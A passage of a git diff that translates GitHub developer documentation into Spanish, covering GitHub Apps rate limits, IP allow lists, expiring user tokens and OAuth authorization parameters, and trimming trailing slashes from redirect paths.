+* [Obtener un usuario](/rest/reference/users#get-a-user)
 
 {% ifversion fpt or ghec %}
-#### Workflow Runs
+#### Ejecuciones de Flujo de Trabajo
 
-* [List workflow runs for a repository](/rest/reference/actions#list-workflow-runs-for-a-repository)
-* [Get a workflow run](/rest/reference/actions#get-a-workflow-run)
-* [Cancel a workflow run](/rest/reference/actions#cancel-a-workflow-run)
-* [Download workflow run logs](/rest/reference/actions#download-workflow-run-logs)
-* [Delete workflow run logs](/rest/reference/actions#delete-workflow-run-logs)
-* [Re run a workflow](/rest/reference/actions#re-run-a-workflow)
-* [List workflow runs](/rest/reference/actions#list-workflow-runs)
-* [Get workflow run usage](/rest/reference/actions#get-workflow-run-usage)
+* [Listar las ejecuciones de flujode trabajo de un repositorio](/rest/reference/actions#list-workflow-runs-for-a-repository)
+* [Obtener una ejecución de flujo de trabajo](/rest/reference/actions#get-a-workflow-run)
+* [Cancelar una ejecución de flujo de trabajo](/rest/reference/actions#cancel-a-workflow-run)
+* [Descargar las bitácoras de ejecución de flujo de trabajo](/rest/reference/actions#download-workflow-run-logs)
+* [Borrar las bitácoras de ejecución de flujo de trabajo](/rest/reference/actions#delete-workflow-run-logs)
+* [Re-ejecutar un flujo de trabajo](/rest/reference/actions#re-run-a-workflow)
+* [Listar las ejecuciones de flujo de trabajo](/rest/reference/actions#list-workflow-runs)
+* [Obtener las estadísticas de uso de las ejecuciones de flujo de trabajo](/rest/reference/actions#get-workflow-run-usage)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Workflows
+#### Flujos de trabajo
 
-* [List repository workflows](/rest/reference/actions#list-repository-workflows)
-* [Get a workflow](/rest/reference/actions#get-a-workflow)
-* [Get workflow usage](/rest/reference/actions#get-workflow-usage)
+* [Listar los flujos de trabajo del repositorio](/rest/reference/actions#list-repository-workflows)
+* [Obtener un flujo de trabajo](/rest/reference/actions#get-a-workflow)
+* [Obtener el uso de un flujo de trabajo](/rest/reference/actions#get-workflow-usage)
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 
-## Further reading
+## Leer más
 
-- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
+- "[Acerca de la autenticación en {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
 
 {% endif %}
diff --git a/translations/es-ES/content/developers/apps/building-github-apps/index.md b/translations/es-ES/content/developers/apps/building-github-apps/index.md
index 3f9cae12b3..1bf74f0bc7 100644
--- a/translations/es-ES/content/developers/apps/building-github-apps/index.md
+++ b/translations/es-ES/content/developers/apps/building-github-apps/index.md
@@ -2,7 +2,7 @@
 title: Crear GitHub Apps
 intro: Puedes crar GitHub Apps para ti mismo o para que los utilicen los demás. Aprende como registrar y configurar permisos y opciones de autenticación para GitHub Apps.
 redirect_from:
-  - /apps/building-integrations/setting-up-and-registering-github-apps/
+  - /apps/building-integrations/setting-up-and-registering-github-apps
   - /apps/building-github-apps
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md b/translations/es-ES/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md
index 54b69c1a34..8fc8bac8a4 100644
--- a/translations/es-ES/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md
+++ b/translations/es-ES/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md
@@ -1,35 +1,34 @@
 ---
-title: Managing allowed IP addresses for a GitHub App
-intro: 'You can add an IP allow list to your {% data variables.product.prodname_github_app %} to prevent your app from being blocked by an organization''s own allow list.'
+title: Administrar las direcciones IP permitidas para una GitHub App
+intro: 'Puedes agregar una lista de direcciones IP permitidas a tu {% data variables.product.prodname_github_app %} para prevenir que se bloquee con la lista de direcciones permitidas propia de la organización.'
 versions:
   fpt: '*'
   ghae: '*'
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Manage allowed IP addresses
+shortTitle: Administrar las direcciones IP permitidas
 ---
 
-## About IP address allow lists for {% data variables.product.prodname_github_apps %}
+## Acerca de las listas de direcciones IP permitidas para las {% data variables.product.prodname_github_apps %}
 
-Enterprise and organization owners can restrict access to assets by configuring an IP address allow list. This list specifies the IP addresses that are allowed to connect. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)."
+Los propietarios de organizaciones y empresas pueden restringir el acceso a los activos si configuran una lista de direcciones IP permitidas. Esta lista especifica las direcciones IP a las que se les permite conectarse. Para obtener más información, consulta la sección "[Requerir políticas para la configuración de seguridad en tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)".
 
-When an organization has an allow list, third-party applications that connect via a {% data variables.product.prodname_github_app %} will be denied access unless both of the following are true:
+Cuando una organización tiene una lista de direcciones permitidas, se negará el acceso a las aplicaciones de terceros que se conecten a través de una {% data variables.product.prodname_github_app %}, a menos de que ambas condiciones siguientes sean verdaderas:
 
-* The creator of the {% data variables.product.prodname_github_app %} has configured an allow list for the application that specifies the IP addresses at which their application runs. See below for details of how to do this.
-* The organization owner has chosen to permit the addresses in the {% data variables.product.prodname_github_app %}'s allow list to be added to their own allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#allowing-access-by-github-apps)."
+* El creador de {% data variables.product.prodname_github_app %} configuró una lista de direcciones permitidas para la aplicación, la cual especifica las direcciones IP en donde se ejecuta la aplicación. Consulta los detalles de cómo hacerlo a continuación.
+* El propietario de la organización eligió permitir que las direcciones en la lista de direcciones permitidas de la {% data variables.product.prodname_github_app %} se agreguen a su propia lista de direcciones permitidas. Para obtener más información, consulta "[Administrar las direcciones IP permitidas en tu organización](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#allowing-access-by-github-apps)".
 
 {% data reusables.apps.ip-allow-list-only-apps %}
 
-## Adding an IP address allow list to a {% data variables.product.prodname_github_app %}
+## Agrega una lista de direcciones IP permitidas a una {% data variables.product.prodname_github_app %}
 
 {% data reusables.apps.settings-step %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
 {% data reusables.user-settings.modify_github_app %}
-1. Scroll down to the "IP allow list" section.
-![Basic information section for your GitHub App](/assets/images/github-apps/github-apps-allow-list-empty.png)
+1. Desplázate hacia abajo para encontrar la sección de "lista de direcciones IP permitidas". ![Sección de información básica para tu GitHub App](/assets/images/github-apps/github-apps-allow-list-empty.png)
 {% data reusables.identity-and-permissions.ip-allow-lists-add-ip %}
 {% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
-  The description is for your reference and is not used in the allow list of organizations where the {% data variables.product.prodname_github_app %} is installed. Instead, organization allow lists will include "Managed by the NAME GitHub App" as the description.
+  La descripción es para tu referencia y no se utiliza en la lista de direcciones permitidas de las organizaciones en donde está instalada la {% data variables.product.prodname_github_app %}. En vez de esto, las listas de direcciones permitidas de la organización incluirán "Managed by the NAME GitHub App" como descripción.
 {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
diff --git a/translations/es-ES/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md b/translations/es-ES/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
index 69254e7f3d..4980289a4b 100644
--- a/translations/es-ES/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
+++ b/translations/es-ES/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
@@ -1,10 +1,10 @@
 ---
-title: Rate limits for GitHub Apps
+title: Límites de tasa para las GitHub Apps
 intro: '{% data reusables.shortdesc.rate_limits_github_apps %}'
 redirect_from:
-  - /early-access/integrations/rate-limits/
-  - /apps/building-integrations/setting-up-and-registering-github-apps/about-rate-limits-for-github-apps/
-  - /apps/building-github-apps/rate-limits-for-github-apps/
+  - /early-access/integrations/rate-limits
+  - /apps/building-integrations/setting-up-and-registering-github-apps/about-rate-limits-for-github-apps
+  - /apps/building-github-apps/rate-limits-for-github-apps
   - /apps/building-github-apps/understanding-rate-limits-for-github-apps
   - /developers/apps/rate-limits-for-github-apps
 versions:
@@ -14,15 +14,16 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Rate limits
+shortTitle: Límites de tasa
 ---
-## Server-to-server requests
+
+## Solicitudes de servidor a servidor
 
 {% ifversion ghec %}
 
-The rate limits for server-to-server requests made by {% data variables.product.prodname_github_apps %} depend on where the app is installed. If the app is installed on organizations or repositories owned by an enterprise on {% data variables.product.product_location %}, then the rate is higher than for installations outside an enterprise.
+Los límites de tasa para las solicitudes de servidor a servidor que hace {% data variables.product.prodname_github_apps %} dependen de si la app está instalada o no. Si la app está instalada en los repositorios u organizaciones que pertenecen a una empresa en {% data variables.product.product_location %}, entonces la tasa es más alta que para aquellas instalaciones que están fuera de una empresa.
 
-### Normal server-to-server rate limits
+### Límites de tasa normales de servidor a servidor
 
 {% endif %}
 
@@ -30,32 +31,32 @@ The rate limits for server-to-server requests made by {% data variables.product.
 
 {% ifversion ghec %}
 
-### {% data variables.product.prodname_ghe_cloud %} server-to-server rate limits
+### Límites de tasa de servidor a servidor de {% data variables.product.prodname_ghe_cloud %}
 
-{% data variables.product.prodname_github_apps %} that are installed on an organization or repository owned by an enterprise on {% data variables.product.product_location %} have a rate limit of 15,000 requests per hour for server-to-server requests.
+Las {% data variables.product.prodname_github_apps %} que se instalan en una organización o repositorio que pertenece a una empresa en {% data variables.product.product_location %} tienen un límite de tasa de 15,000 solicitudes por hora para las solicitudes de servidor a servidor.
 
 {% endif %}
 
-## User-to-server requests
+## Solicitudes de usuario a servidor
 
-{% data variables.product.prodname_github_apps %} can also act [on behalf of a user](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-and-authorizing-users-for-github-apps), making user-to-server requests.
+Las {% data variables.product.prodname_github_apps %} también pueden actuar [en nombre de un usuario](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-and-authorizing-users-for-github-apps) al hacer solicitudes de usuario a servidor.
 
 {% ifversion ghec %}
 
-The rate limits for user-to-server requests made by {% data variables.product.prodname_github_apps %} depend on where the app is installed. If the app is installed on organizations or repositories owned by an enterprise on {% data variables.product.product_location %}, then the rate is higher than for installations outside an enterprise.
+Los límites de tasa para las solicitudes de usuario a servidor que hace {% data variables.product.prodname_github_apps %} dependen de donde se instala la app. Si la app está instalada en los repositorios u organizaciones que pertenecen a una empresa en {% data variables.product.product_location %}, entonces la tasa es más alta que para aquellas instalaciones que están fuera de una empresa.
 
-### Normal user-to-server rate limits
+### Límites de tasa normales de usuario a servidor
 
 {% endif %}
 
-User-to-server requests are rate limited at {% ifversion ghae %}15,000{% else %}5,000{% endif %} requests per hour and per authenticated user. All OAuth applications authorized by that user, personal access tokens owned by that user, and requests authenticated with that user's{% ifversion ghae %} token{% else %} username and password{% endif %} share the same quota of 5,000 requests per hour for that user.
+El límite de tasa de las solicitudes de usuario a servidor es de {% ifversion ghae %}15,000{% else %}5,000{% endif %} solicitudes por hora y por usuario autenticado. Todas las aplicaciones de OAuth que autorizó éste usuario, los tokens de acceso personal que le pertenecen, y las solicitudes que se autenticaron con su{% ifversion ghae %} token{% else %} nombre de usuario y contraseña{% endif %} comparten la misma cuota de 5,000 solicitudes por hora para dicho usuario.
 
 {% ifversion ghec %}
 
-### {% data variables.product.prodname_ghe_cloud %} user-to-server rate limits
+### Límites de tasa de usuario a servidor de {% data variables.product.prodname_ghe_cloud %}
 
-When a user belongs to an enterprise on {% data variables.product.product_location %}, user-to-server requests to resources owned by the same enterprise are rate limited at 15,000 requests per hour and per authenticated user. All OAuth applications authorized by that user, personal access tokens owned by that user, and requests authenticated with that user's username and password share the same quota of 5,000 requests per hour for that user.
+Cuando un usuario pertenece a una empresa en {% data variables.product.product_location %}, las solicitudes de usuario a servidor que pertenecen a la misma empresa tienen un límite de tasa de 15,000 solicitudes por hora y por usuario autenticado. Todas las aplicaciones de OAuth que autorice este usuario, tokens de acceso personal que le pertenezcan y solicitudes autenticadas con su nombre de usuario y contraseña compartirán la misma cuota de 5,000 solicitudes por hora para dicho usuario.
 
 {% endif %}
 
-For more detailed information about rate limits, see "[Rate limiting](/rest/overview/resources-in-the-rest-api#rate-limiting)" for REST API and "[Resource limitations]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/overview/resource-limitations)" for GraphQL API.
+Para obtener información más detallada acerca de los límites de tasa, consulta la sección "[Limitaciones a las tasas](/rest/overview/resources-in-the-rest-api#rate-limiting)" para la API de REST y "[Limitaciones a los recursos]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/overview/resource-limitations)" para la API de GraphQL.
diff --git a/translations/es-ES/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md b/translations/es-ES/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
index 7acf2cb64a..10235b5410 100644
--- a/translations/es-ES/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
+++ b/translations/es-ES/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
@@ -1,6 +1,6 @@
 ---
-title: Refreshing user-to-server access tokens
-intro: 'To enforce regular token rotation and reduce the impact of a compromised token, you can configure your {% data variables.product.prodname_github_app %} to use expiring user access tokens.'
+title: Actualizar los tokens de acceso de usuario a servidor
+intro: 'Para cumplir con la rotación habitual de tokens y reducir el impacto de que se ponga en riesgo alguno de ellos, puedes configurar tu {% data variables.product.prodname_github_app %} para que utilice tokens de acceso de usuario con caducidad.'
 redirect_from:
   - /apps/building-github-apps/refreshing-user-to-server-access-tokens
   - /developers/apps/refreshing-user-to-server-access-tokens
@@ -11,35 +11,36 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Refresh user-to-server access
+shortTitle: Actualizar el acceso de usuario a servidor
 ---
+
 {% data reusables.pre-release-program.expiring-user-access-tokens %}
 
 
-## About expiring user access tokens
+## Acerca de los tokens de acceso de usuario con caducidad
 
-To enforce regular token rotation and reduce the impact of a compromised token, you can configure your {% data variables.product.prodname_github_app %} to use expiring user access tokens. For more information on making user-to-server requests, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+Para cumplir con la rotación habitual de tokens y reducir el impacto de que se ponga en riesgo alguno de ellos, puedes configurar tu {% data variables.product.prodname_github_app %} para que utilice tokens de acceso de usuario con caducidad. Para obtener más información sobre cómo crear solicitudes de usuario a servidor, consulta la sección "[Identificar y autorizar usuarios para las GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)".
 
-Expiring user tokens expire after 8 hours. When you receive a new user-to-server access token, the response will also contain a refresh token, which can be exchanged for a new user token and refresh token. Refresh tokens are valid for 6 months. 
+La caducidad de los tokens se alcanza después de 8 horas. Cuando recibes un token nuevo para el acceso de usuario a servidor, la respuesta también contendrá un token de actualización, el cual se puede intercambiar por un token de usuario nuevo y un token de actualización. Los tokens de actualización son válidos por 6 meses.
 
-## Renewing a user token with a refresh token
+## Renovar un token de usuario con un token de actualización
 
-To renew an expiring user-to-server access token, you can exchange the `refresh_token` for a new access token and `refresh_token`.
+Para renovar un token de acceso de usuario a servidor que esté por caducar, puedes intercambiar el `refresh_token` por un token de acceso nuevo y un `refresh_token`.
 
   `POST https://github.com/login/oauth/access_token`
 
-This callback request will send you a new access token and a new refresh token.  This callback request is similar to the OAuth request you would use to exchange a temporary `code` for an access token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#2-users-are-redirected-back-to-your-site-by-github)" and "[Basics of authentication](/rest/guides/basics-of-authentication#providing-a-callback)."
+Esta solicitud de rellamada te enviará un token de acceso y un token de actualización nuevos.  Esta solicitud de rellamada es similar a la solicitud de OAuth que utilizarías para intercambiar un `code` temporal para un token de acceso. Para obtener más información, consulta las secciones "[Identificar y autorizar usuarios para las GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#2-users-are-redirected-back-to-your-site-by-github)" y "[Información básica sobre la autenticación](/rest/guides/basics-of-authentication#providing-a-callback)".
 
-### Parameters
+### Parámetros
 
-Name | Type | Description
------|------|------------
-`refresh_token` | `string` | **Required.** The token generated when the  {% data variables.product.prodname_github_app %} owner enables expiring tokens and issues a new user access token.
-`grant_type` | `string` | **Required.** Value must be `refresh_token` (required by the OAuth specification).
-`client_id` | `string` | **Required.** The  client ID for your {% data variables.product.prodname_github_app %}.
-`client_secret` | `string`   | **Required.** The  client secret for your {% data variables.product.prodname_github_app %}.
+| Nombre          | Tipo        | Descripción                                                                                                                                                                                    |
+| --------------- | ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `refresh_token` | `secuencia` | **Requerido.** El token que se genera cuando el dueño de la  {% data variables.product.prodname_github_app %} habilita los tokens con caducidad y emite un token de acceso de usuario nuevo. |
+| `grant_type`    | `secuencia` | **Requerido.** El valor debe ser `refresh_token` (se requiere en la especificación de OAuth).                                                                                                  |
+| `client_id`     | `secuencia` | **Requerido.** La ID de cliente para tu {% data variables.product.prodname_github_app %}.                                                                                                    |
+| `client_secret` | `secuencia` | **Requerido.** El secreto del cliente para tu {% data variables.product.prodname_github_app %}.                                                                                              |
 
-### Response
+### Respuesta
 
 ```json
 {
@@ -51,35 +52,34 @@ Name | Type | Description
   "token_type": "bearer"
 }
 ```
-## Configuring expiring user tokens for an existing GitHub App
+## Configurar los tokens de usuario con caducidad para una GitHub App existente
 
-You can enable or disable expiring user-to-server authorization tokens from your {% data variables.product.prodname_github_app %} settings.
+Puedes habilitar o inhabilitar los tokens de autorización de usuario a servidor desde los ajustes de tu {% data variables.product.prodname_github_app %}.
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-4. Click **Edit** next to your chosen {% data variables.product.prodname_github_app %}.
-  ![Settings to edit a GitHub App](/assets/images/github-apps/edit-test-app.png)
-5. In the left sidebar, click **{% ifversion ghes < 3.1 %} Beta {% else %} Optional {% endif %} Features**.
+4. Da clic en la opción**Editar** junto a la {% data variables.product.prodname_github_app %} que escogiste. ![Configuración para editar una GitHub App](/assets/images/github-apps/edit-test-app.png)
+5. En la barra lateral izquierda, haz clic en **{% ifversion ghes < 3.1 %} Características Beta {% else %} Características Opcionales {% endif %}**.
   {% ifversion ghes < 3.1 %} ![Beta features tab](/assets/images/github-apps/beta-features-option.png) {% else %} ![Optional features tab](/assets/images/github-apps/optional-features-option.png) {% endif %}
-6. Next to "User-to-server token expiration", click **Opt-in** or **Opt-out**. This setting may take a couple of seconds to apply.
+6. Junto a "caducidad de token de usuario a servidor", da clic en **Unirse** o en **No unirse**. Esta característica podría tardar un par de segundos para su aplicación.
 
-## Opting out of expiring tokens for new GitHub Apps
+## Decidir no unirse a los tokens con caducidad para las GitHub Apps nuevas
 
-When you create a new {% data variables.product.prodname_github_app %}, by default your app will use expiring user-to-server access tokens.
+Cuando creas una {% data variables.product.prodname_github_app %}, ésta utilizará predeterminadamente los tokens de acceso de usuario a servidor con caducidad.
 
-If you want your app to use non-expiring user-to-server access tokens, you can deselect "Expire user authorization tokens" on the app settings page.
+Si quieres que tu app utlice tokens de acceso de usuario a servidor sin caducidad, puedes deseleccionar la opción "Poner caducidad en los tokens de autorización de usuario" en la página de ajustes de la app.
 
-![Option to opt-in to expiring user tokens during GitHub Apps setup](/assets/images/github-apps/expire-user-tokens-selection.png)
+![Opción para unirse a los tokens de usuario con caducidad durante la configuración de las GitHub Apps](/assets/images/github-apps/expire-user-tokens-selection.png)
 
-Existing {% data variables.product.prodname_github_apps %} using user-to-server authorization tokens are only affected by this new flow when the app owner enables expiring user tokens for their app.
+Las {% data variables.product.prodname_github_apps %} existentes que utilicen tokens de autorización de usuario a servidor solo se verán afectadas por este flujo nuevo cuando el propietario de la app habilite la caducidad de los tokens para la app en cuestión.
 
-Enabling expiring user tokens for existing {% data variables.product.prodname_github_apps %} requires sending users through the OAuth flow to re-issue new user tokens that will expire in 8 hours and making a request with the refresh token to get a new access token and refresh token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+Habilitar los tokens de usuario con caducidad para las {% data variables.product.prodname_github_apps %} existentes requiere que se envíen los usuarios a través del flujo de OAuth para re-emitir tokens de usuario nuevos que caducarán en 8 horas y que harán una solicitud con el token de actualización para obtener un token de acceso y un token de actualización nuevos. Para obtener más información, consulta la sección "[Identificar y autorizar usuarios para las GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)".
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 
-## Further reading
+## Leer más
 
-- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
+- "[Acerca de la autenticación en {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
 
 {% endif %}
diff --git a/translations/es-ES/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md b/translations/es-ES/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
index 0fb399026c..e8ad917e83 100644
--- a/translations/es-ES/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
+++ b/translations/es-ES/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md
@@ -2,8 +2,8 @@
 title: Configurar los permisos para las GitHub Apps
 intro: '{% data reusables.shortdesc.permissions_github_apps %}'
 redirect_from:
-  - /apps/building-integrations/setting-up-and-registering-github-apps/about-permissions-for-github-apps/
-  - /apps/building-github-apps/permissions-for-github-apps/
+  - /apps/building-integrations/setting-up-and-registering-github-apps/about-permissions-for-github-apps
+  - /apps/building-github-apps/permissions-for-github-apps
   - /apps/building-github-apps/setting-permissions-for-github-apps
   - /developers/apps/setting-permissions-for-github-apps
 versions:
diff --git a/translations/es-ES/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md b/translations/es-ES/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md
index fc5641bce7..2d6b79b8a3 100644
--- a/translations/es-ES/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md
+++ b/translations/es-ES/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md
@@ -1,12 +1,12 @@
 ---
-title: Authorizing OAuth Apps
+title: Autorizar aplicaciones OAuth
 intro: '{% data reusables.shortdesc.authorizing_oauth_apps %}'
 redirect_from:
-  - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-authorization-options-for-oauth-apps/
-  - /apps/building-integrations/setting-up-and-registering-oauth-apps/directing-users-to-review-their-access/
-  - /apps/building-integrations/setting-up-and-registering-oauth-apps/creating-multiple-tokens-for-oauth-apps/
-  - /v3/oauth/
-  - /apps/building-oauth-apps/authorization-options-for-oauth-apps/
+  - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-authorization-options-for-oauth-apps
+  - /apps/building-integrations/setting-up-and-registering-oauth-apps/directing-users-to-review-their-access
+  - /apps/building-integrations/setting-up-and-registering-oauth-apps/creating-multiple-tokens-for-oauth-apps
+  - /v3/oauth
+  - /apps/building-oauth-apps/authorization-options-for-oauth-apps
   - /apps/building-oauth-apps/authorizing-oauth-apps
   - /developers/apps/authorizing-oauth-apps
 versions:
@@ -17,66 +17,67 @@ versions:
 topics:
   - OAuth Apps
 ---
-{% data variables.product.product_name %}'s OAuth implementation supports the standard [authorization code grant type](https://tools.ietf.org/html/rfc6749#section-4.1) and the OAuth 2.0 [Device Authorization Grant](https://tools.ietf.org/html/rfc8628) for apps that don't have access to a web browser.
 
-If you want to skip authorizing your app in the standard way, such as when testing your app, you can use the [non-web application flow](#non-web-application-flow).
+La implementación de OAuth de {% data variables.product.product_name %} es compatible con el [tipo de otorgamientos de código de autorización](https://tools.ietf.org/html/rfc6749#section-4.1) estándar y con el [Otorgamiento de Autorización de Dispositivos](https://tools.ietf.org/html/rfc8628) de OAuth 2.0 para las apps que no tengan acceso a un buscador web.
 
-To authorize your OAuth app, consider which authorization flow best fits your app.
+Si quieres saltar el proceso de autorización de tu app en el modo estándar, tal como sucede cuando la estás probando, puedes utilizar el [flujo no web para aplicaciones](#non-web-application-flow).
 
-- [web application flow](#web-application-flow): Used to authorize users for standard OAuth apps that run in the browser. (The [implicit grant type](https://tools.ietf.org/html/rfc6749#section-4.2) is not supported.){% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-- [device flow](#device-flow):  Used for headless apps, such as CLI tools.{% endif %}
+Para autorizar tu app de OAuth, considera qué flujo de autorizaciones queda mejor con ella.
 
-## Web application flow
+- [flujo web de aplicaciones](#web-application-flow): Se utiliza para autorizar a los usuarios para las aplicaciones de OAuth que se ejecutan en el buscador. (El [tipo de otorgamiento implícito](https://tools.ietf.org/html/rfc6749#section-4.2) no es compatible.){% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+- [flujo de dispositivos](#device-flow):  Se utiliza para las aplicaciones sin encabezado, tales como las herramientas de CLI.{% endif %}
+
+## Flujo de aplicaciones Web
 
 {% note %}
 
-**Note:** If you are building a GitHub App, you can still use the OAuth web application flow, but the setup has some important differences. See "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)" for more information.
+**Nota:** Si estás creando una GitHub App, aún puedes utilizar el flujo de aplicaciones web de OAuth, pero la configuración tiene diferencias importantes. Consulta la sección "[Identificar y autorizar usuarios para las GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)" para obtener más información.
 
 {% endnote %}
 
-The web application flow to authorize users for your app is:
+El flujo web de aplicaciones para autorizar a los usuarios en tu app es:
 
-1. Users are redirected to request their GitHub identity
-2. Users are redirected back to your site by GitHub
-3. Your app accesses the API with the user's access token
+1. Se redirecciona a los usuarios para solicitar su identidad de GitHub
+2. GitHub redirecciona a los usuarios de vuelta a tu sitio
+3. Tu aplicación accede a la API con el token de acceso del usuario
 
-### 1. Request a user's GitHub identity
+### 1. Solicita la identidad de un usuario de GitHub
 
     GET {% data variables.product.oauth_host_code %}/login/oauth/authorize
 
-When your GitHub App specifies a `login` parameter, it prompts users with a specific account they can use for signing in and authorizing your app.
+Cuando tu GitHub App especifica un parámetro de `login`, solicita a los usuarios con una cuenta específica que pueden utilizar para registrarse y autorizar tu app.
 
-#### Parameters
+#### Parámetros
 
-Name | Type | Description
------|------|--------------
-`client_id`|`string` | **Required**. The client ID you received from GitHub when you {% ifversion fpt or ghec %}[registered](https://github.com/settings/applications/new){% else %}registered{% endif %}.
-`redirect_uri`|`string` | The URL in your application where users will be sent after authorization. See details below about [redirect urls](#redirect-urls).
-`login` | `string` | Suggests a specific account to use for signing in and authorizing the app.
-`scope`|`string` | A space-delimited list of [scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). If not provided, `scope` defaults to an empty list for users that have not authorized any scopes for the application. For users who have authorized scopes for the application, the user won't be shown the OAuth authorization page with the list of scopes. Instead, this step of the flow will automatically complete with the set of scopes the user has authorized for the application. For example, if a user has already performed the web flow twice and has authorized one token with `user` scope and another token with `repo` scope, a third web flow that does not provide a `scope` will receive a token with `user` and `repo` scope.
-`state` | `string` | {% data reusables.apps.state_description %}
-`allow_signup`|`string` | Whether or not unauthenticated users will be offered an option to sign up for GitHub during the OAuth flow. The default is `true`. Use `false` when a policy prohibits signups.
+| Nombre         | Tipo        | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| -------------- | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `client_id`    | `secuencia` | **Requerido**. La ID de cliente que recibiste de GitHub cuando te {% ifversion fpt or ghec %}[registraste](https://github.com/settings/applications/new){% else %}registraste{% endif %}.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| `redirect_uri` | `secuencia` | La URL en tu aplicación a donde se enviará a los usuarios después de la autorización. Consulta los siguientes detalles sobre [urls de redireccionamiento](#redirect-urls).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| `login`        | `secuencia` | Sugiere una cuenta específica para utilizar para registrarse y autorizar la app.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| `alcance`      | `secuencia` | Una lista de [alcances](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/) delimitada en espacio. De no proporcionarse, el `scope` será, predeterminadamente, una lista vacía para los usuarios que no han autorizado ningún alcance para la aplicación. Para los usuarios que han autorizado alcances para la aplicación, el usuario no se mostrará en la página de autorización de OAuth con la lista de alcances. En vez de esto, este paso del flujo se completara automáticamente con el conjunto de alcances que el usuario haya autorizado para la aplicación. Por ejemplo, si un usuario ya realizó el flujo web dos veces y autorizó un token con alcance de `user` y otro con alcance de `repo`, un tercer flujo web que no proporcione un `scope` recibirá un token con los alcances `user` y `repo`. |
+| `state`        | `secuencia` | {% data reusables.apps.state_description %}
